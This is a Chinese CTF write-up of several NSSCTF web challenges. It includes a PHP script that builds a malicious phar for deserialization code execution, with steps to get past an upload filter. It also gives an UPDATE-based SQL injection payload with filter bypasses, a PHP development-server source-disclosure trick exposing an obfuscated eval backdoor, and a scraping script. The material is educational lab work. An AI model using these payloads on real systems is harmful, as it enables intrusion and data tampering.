NSSCTF第16页（2）

[NSSRound#4 SWPU]1zweb(revenge)

查看index.php

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){if (preg_match("/flag/", $file)) {die("nonono");}echo file_get_contents($file);
}

查看upload.php

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

后缀必须是图片，且内容不能出现phar标志

可以压缩zip绕过

上传后用phar伪协议读取

file_get_contents读phar文件时能能触发返序列化漏洞,绕过一下wakeup()函数，并让 ljt=Misc,dky=Re

<?php
ini_set("phar.readonly","Off");
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system('cat /flag');";}
}
$a = new LoveNss();$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();?>
#注意要手动将php.ini中的phar.readonly改成Off

得到aa.phar文件

还需要绕一下wakeup()

用010打开修改一下

修改成jpg文件发现上传失败

可能是文件压缩的问题

在kali利用gzip命令 gzip aa.phar

得到aa.phar.gz，改文件名为1.jpg上交，用phar读取发现签名损坏，所以要进行签名修复，phar由data,data签名（20位）,和签名格式（8位）组成。

修复签名的phar文件 gzip压缩后，修改后缀为.png

最后得到flag

[SWPUCTF 2023 秋季新生赛]NSS大卖场

在提示看到了数据库备份

知道了查询语句

抓个包发现买哪个url就会出现/buy/xxx

标签说是updata注入，查查资料

不一样的sql注入_update注入-CSDN博客

SQL注入之update注入 - 简书

在url后输入buy/1'发现有报错，单引号注入

由于得到flag的条件为购买flag，那么我们可以用update语句来让flag只需要一块钱购买

发现被过滤了

空格用%09绕过，updata和where用大小写绕过

1';upDate%09items%09set%09price=1%09Where%09id=8;#

购买然后去背包查看flag

[MoeCTF 2021]fake game

node.js原型链污染

Nodejs原型链污染 - 知乎

浅谈 Nodejs原型链污染_node 原型-CSDN博客

深入理解 JavaScript Prototype 污染攻击 | 离别歌 p神

第一次学原型链污染，p神的文章很易懂

得到了flag

[FSCTF 2023]签到plus

发现没有东西

标签提示说是有源码泄露扫描一下

访问发现是phpinfo页面，得到flag

提交发现是假的flag

去查一一下这个php版本，发现有漏洞

PHP＜=7.4.21 Development Server源码泄露漏洞-CSDN博客

PHP<=7.4.21 Development Server源码泄露漏洞

直接利用payload

原理：

这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php)
PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录，它会检查是否存在索引文件，如index.php或 index.html，并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查，以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP，或者如果扩展名的长度不等于3,则该文件被视为静态文件，因此如果我们把第二个GET请求的内容改为类似1.txt的文件时，php源码将会被以静态文件的方式泄露(即直接访问获取)

成功读取源码

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};

直接cat，结束

[HGAME 2023 week1]Guess Who I Am

看源代码有个hint

打开发现是所有的回答

看了好多wp，知道这道题的类型是爬虫题

大佬的exp

from bs4 import BeautifulSoup
import requests
import jsonanswers = [{"id": "ba1van4","intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640","url": "https://ba1van4.icu"},{"id": "yolande","intro": "21级 / 非常菜的密码手 / 很懒的摸鱼爱好者，有点呆，想学点别的但是一直开摆","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rY328VIqDc7lNtujYic8JxA&s=640","url": "https://y01and3.github.io/"},{"id": "t0hka","intro": "21级 / 日常自闭的Re手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EYNwm1PQe8o5OcghFb4zfw&s=640","url": "https://blog.t0hka.top/"},{"id": "h4kuy4","intro": "21级 / 菜鸡pwn手 / 又菜又爱摆","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=BmACniaibVb6IL6LiaYF4Uvlw&s=640","url": "https://hakuya.work"},{"id": "kabuto","intro": "21级web / cat../../../../f*","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=oPn2ez6Nq12GqPZG6cV7nw&s=640","url": "https://www.bilibili.com/video/BV1GJ411x7h7/"},{"id": "R1esbyfe","intro": "21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=FLyUHP6nYov19gA0ia83u8Q&s=640","url": "https://r1esbyfe.top/"},{"id": "tr0uble","intro": "21级 / 喜欢肝原神的密码手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=bgcib3gBjJGdKEf7BZ512Uw&s=640","url": "https://clingm.top"},{"id": "Roam","intro": "21级 / 入门级crypto","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5wzr9TVyw2nxOz5Jb7ceaQ&s=640","url": "#"},{"id": "Potat0","intro": "20级 / 摆烂网管 / DN42爱好者","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=NicTy1CDqeHsgzbZEIUU2wg&s=640","url": "https://potat0.cc/"},{"id": "Summer","intro": "20级 / 歪脖手 / 想学运维 / 发呆业务爱好者","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=4y6zxTBSB3cbseeyPvQWng&s=640","url": "https://blog.m1dsummer.top"},{"id": "chuj","intro": "20级 / 已退休不再参与大多数赛事 / 不好好学习，生活中就会多出许多魔法和奇迹","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=aM4tJSQSxB5gcauIMDEtUg&s=640","url": "https://cjovi.icu"},{"id": "4nsw3r","intro": "20级会长 / re / 不会pwn","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=j3LOiav9IluKSYg1VEibblZw&s=640","url": "https://4nsw3r.top/"},{"id": "4ctue","intro": "20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期","url": "#"},{"id": "0wl","intro": "20级 / Re手 / 菜","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=06FRYslcuprt59OxibicdhqQ&s=640","url": "https://0wl-alt.github.io"},{"id": "At0m","intro": "20级 / web / 想学iot","url": "https://homeboyc.cn/"},{"id": "ChenMoFeiJin","intro": "20级 / Crypto / 摸鱼学代师","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5xyCaLib3lovjrUzf5pWxDQ&s=640","url": "https://chenmofeijin.top"},{"id": "Klrin","intro": "20级 / WEB / 菜的抠脚 / 想学GO","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=nnzEWNwxMS88jKYre5fOjg&s=640","url": "https://blog.mjclouds.com/"},{"id": "ek1ng","intro": "20级 / Web / 还在努力","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=pJFuHEqNaFk1If1STvRibWw&s=640","url": "https://ek1ng.com"},{"id": "latt1ce","intro": "20级 / Crypto&BlockChain / Plz V me 50 eth","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EmPiaz7Msgg7iaia9tibibjdUyw&s=640","url": "https://lee-tc.github.io/"},{"id": "Ac4ae0","intro": "*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EI7A02PYs5WUVFP2bciad8w&s=640","url": "https://twitter.com/LAttic1ng"},{"id": "Akira","intro": "19级 / 不会web / 半吊子运维 / 今天您漏油了吗","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=ku1vqyI1hLJr61PGIlic7Ow&s=640","url": "https://4kr.top"},{"id": "qz","intro": "19级 / 摸鱼美工 / 学习图形学、渲染ing","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=q5qVDcvyzxee4qiays52mibA&s=640","url": "https://fl0.top/"},{"id": "Liki4","intro": "19级 / 脖子笔直歪脖手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=E3j3BJrsAfyl1arfnFKufQ&s=640","url": "https://github.com/Liki4"},{"id": "0x4qE","intro": "19级 / &lt;/p&gt;&lt;p&gt;Web","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=K7icYial1VVzlNl7hrD9MlNw&s=640","url": "https://github.com/0x4qE"},{"id": "xi4oyu","intro": "19级 / 骨瘦如柴的胖手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=JfeMY6Lz5ZU4GmtTV85otQ&s=640","url": "https://www.xi4oyu.top/"},{"id": "R3n0","intro": "19级 / bin底层选手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icY08gnMlXtoYIJ9ib3eJQ2g&s=640","url": "https://r3n0.top"},{"id": "m140","intro": "19级 / 不会re / dl萌新 / 太弱小了，没有力量 / 想学游戏","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=zt0iccbnGuV8dOpXIYrJgvg&s=640","url": "#"},{"id": "Mezone","intro": "19级 / 普通的binary爱好者。","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rDD29iahzzg8AvQX7fdbFPg&s=640","url": "#"},{"id": "d1gg12","intro": "19级 / 游戏开发 / 🐟粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icawQKtjLcRiaj7scTRBZ9Qw&s=640","url": "https://d1g.club"},{"id": "Trotsky","intro": "19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=LiasEshjTXTrNzJjPHVY3Vw&s=640","url": "https://altonhe.github.io/"},{"id": "Gamison","intro": "19级 / 挖坑不填的web选手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=0VaAu2go9mvrMXu1ibmKy1g&s=640","url": "http://aw.gamison.top"},{"id": "Tinmix","intro": "19级会长 / DL爱好者 / web苦手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=L2EclrAltb7lk3LBPY6oWA&s=640","url": "http://poi.ac"},{"id": "RT","intro": "19级 / Re手，我手呢？","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=p1TD1qwKfEK8NZExRDqic1A&s=640","url": "https://wr-web.github.io"},{"id": "wenzhuan","intro": "18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包","url": "https://wzyxv1n.top/"},{"id": "Cosmos","intro": "18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨","url": "https://cosmos.red"},{"id": "Y","intro": "18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手","url": "https://blog.xyzz.ml:444/"},{"id": "Annevi","intro": "18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=WN9x96MpjSJ3Gc7a3SHtDw&s=640","url": "https://annevi.cn"},{"id": "logong","intro": "18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟","url": "http://logong.vip"},{"id": "Kevin","intro": "18 级 / Web / 车万","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=jaXAqywDMbia39e4OfGXicPQ&s=640","url": "https://harmless.blue/"},{"id": "LurkNoi","intro": "18级 / 会一丢丢crypto / 摸鱼","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=CLTlN5QPS3aI60icIoxGmdQ&s=640","url": "#"},{"id": "幼稚园","intro": "18级会长 / 二进制安全 /  干拉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=G2o7mX9RCTkiaCHeEiaJLBwA&s=640","url": "https://danisjiang.com"},{"id": "lostflower","intro": "18级 / 游戏引擎开发 / 尚有梦想的game maker","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=eQHtN69C2tgM8Ul8PmtTKw&s=640","url": "https://r000setta.github.io"},{"id": "Roc826","intro": "18 级 / Web 底层选手","url": "http://www.roc826.cn/"},{"id": "Seadom","intro": "18 级 / Web / 真·菜到超乎想象 / 拼死学（mo）习（yu）中","url": "#"},{"id": "ObjectNotFound","intro": "18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合！","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=yQnkF86Uy6UkZrZmFYLL4g&s=640","url": "https://www.zhouweitong.site"},{"id": "Moesang","intro": "18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼！","url": "https://blog.wz22.cc"},{"id": "E99p1ant","intro": "18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=AJQ9RJRCavhSibMZtRq2JOQ&s=640","url": "https://github.red/"},{"id": "Michael","intro": "18 级 / Java / 会除我佬","url": "http://michaelsblog.top/"},{"id": "matrixtang","intro": "18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向","url": "#"},{"id": "r4u","intro": "18级 / 不可以摸🐠哦","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rJCqQv1EzicpDW77nMa5bYw&s=640","url": "http://r4u.top/"},{"id": "357","intro": "18级 / 并不会web / 端茶送水选手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=POaV9Y85NiaUcibaETEKTpfw&s=640","url": "#"},{"id": "Li4n0","intro": "17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友","url": "https://blog.0e1.top"},{"id": "迟原静","intro": "17级 / Focus on Java Security","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=xyVPFvQ2dWReoBiahd7naSw&s=640","url": "#"},{"id": "Ch1p","intro": "17 级 / 自称 Bin 手实际啥都不会 / 二次元安全","url": "http://ch1p.top"},{"id": "f1rry","intro": "17 级 / Web","url": "#"},{"id": "mian","intro": "17 级 / 业余开发 / 专业摸鱼","url": "https://www.intmian.com"},{"id": "ACce1er4t0r","intro": "17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=gRBlwiawx1lF4UkPKh4Liczg&s=640","url": "#"},{"id": "MiGo","intro": "17级 / 二战人 / 老二次元 / 兴趣驱动生活","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=XzZggL7hDeicLXb2FSic6sfg&s=640","url": "https://migoooo.github.io/"},{"id": "BrownFly","intro": "17级 / RedTeamer / 字节跳动安全工程师","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EnNslsFelj9HibuKoNHwmyg&s=640","url": "https://brownfly.github.io"},{"id": "Aris","intro": "17级/ Key厨 / 腾讯玄武倒水的","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=anjeaJmx1X79Yp1DNxWrRA&s=640","url": "https://blog.ar1s.top"},{"id": "hsiaoxychen","intro": "17级 / 游戏厂打工仔 / 来深圳找我快活","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=YGiaicyZ3NkWfOoGOlLPWvAw&s=640","url": "https://chenxy.me"},{"id": "Lou00","intro": "17级 / web / 东南读研","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=fdAMuUicvOObMv3eZC8y0Ew&s=640","url": "https://blog.lou00.top"},{"id": "Junier","intro": "16 级 / 立志学术的统计er / R / 为楼上的脱单事业做出了贡献","url": "#"},{"id": "bigmud","intro": "16 级会长 / Web 后端 / 会一点点 Web 安全 / 会一丢丢二进制","url": "#"},{"id": "NeverMoes","intro": "16 级 / Java 福娃 / 上班 996 / 下班 669","url": "#"},{"id": "Sora","intro": "16 级 / Web Developer","url": "https://github.com/Last-Order"},{"id": "fantasyqt","intro": "16 级 / 可能会运维 / 摸鱼选手","url": "http://0x2f.xyz"},{"id": "vvv_347","intro": "16 级 / Rev / Windows / Freelancer","url": "https://vvv-347.space"},{"id": "veritas501","intro": "16 级 / Bin / 被迫研狗","url": "https://veritas501.space"},{"id": "LuckyCat","intro": "16 级 / Web 🐱 / 现于长亭科技实习","url": "https://jianshu.com/u/ad5c1e097b84"},{"id": "Ash","intro": "16 级 / Java 开发攻城狮 / 996 选手 / 濒临猝死","url": "#"},{"id": "Cyris","intro": "16 级 / Web 前端 / 美工 / 阿里云搬砖","avatar": "https://cdn.jsdelivr.net/npm/cyris/images/avatar.png","url": "https://cyris.moe/"},{"id": "Acaleph","intro": "16 级 / Web 前端 / 水母一小只 / 程序员鼓励师 / Cy 来组饥荒！","url": "#"},{"id": "b0lv42","intro": "16级 / 大果子 / 毕业1年仍在寻找vidar娘接盘侠","url": "https://b0lv42.github.io/"},{"id": "ngc7293","intro": "16 级 / 蟒蛇饲养员 / 高数小王子","url": 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"#"},{"id": "c014","intro": "15 级 / Web 🐶 / 汪汪汪","url": "#"},{"id": "Explorer","intro": "14 级 HDUISA 会长 / 二进制安全 / 曾被 NULL、TD、蓝莲花等拉去凑人数 / 差点没毕业 / 长亭安研","url": "#"},{"id": "Aklis","intro": "14 级 HDUISA 副会长 / 二次元 / 拼多多安全工程师","url": "#"},{"id": "Sysorem","intro": "14 级网安协会会长 / HDUISA 成员 / Web 安全 / Freebuf 安全社区特约作者 / FSI2015Freebuf 特邀嘉宾","url": "#"},{"id": "Hcamael","intro": "13 级 / 知道创宇 404 安全研究员 / 现在 Nu1L 划划水 / IoT、Web、二进制漏洞，密码学，区块链都看得懂一点，但啥也不会","url": "#"},{"id": "LoRexxar","intro": "14 级 / Web 🐶 / 杭电江流儿 / 自走棋主教守门员","url": "https://lorexxar.cn/"},{"id": "A1ex","intro": "14 级网安协会副会长 / Web 安全","url": "#"},{"id": "Ahlaman","intro": "14 级网安协会副会长 / 无线安全","url": "#"},{"id": "lightless","intro": "Web 安全 / 安全工程师 / 半吊子开发 / 半吊子安全研究","url": "https://lightless.me/"},{"id": "Edward_L","intro": "13 级 HDUISA 会长 / Web 安全 / 华为安全部门 / 二进制安全，fuzz，符号执行方向研究","url": "#"},{"id": "逆风","intro": "13 级菜鸡 / 大数据打杂","url": "https://github.com/deadwind4"},{"id": "陈斩仙","intro": "什么都不会 / 咸鱼研究生 / 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]def get_anser(str):for i in range(len(answers)):if str == answers[i]['intro']:return answers[i]['id']if __name__ == '__main__':url = 'http://node5.anna.nssctf.cn:28417'verifyAnswer = url + '/api/verifyAnswer'getQuestion = url +'/api/getQuestion'score = url+'/api/getScore's = requests.session()for i in range(len(answers)):r = s.get(getQuestion)soup = BeautifulSoup(r.text, "html.parser")question = json.loads(soup.contents[0])['message']answer = get_anser(question)# print(question,":",answer)data = {'id':answer}veri_r = s.post(verifyAnswer,data=data)print(s.get(score).text)

得到flag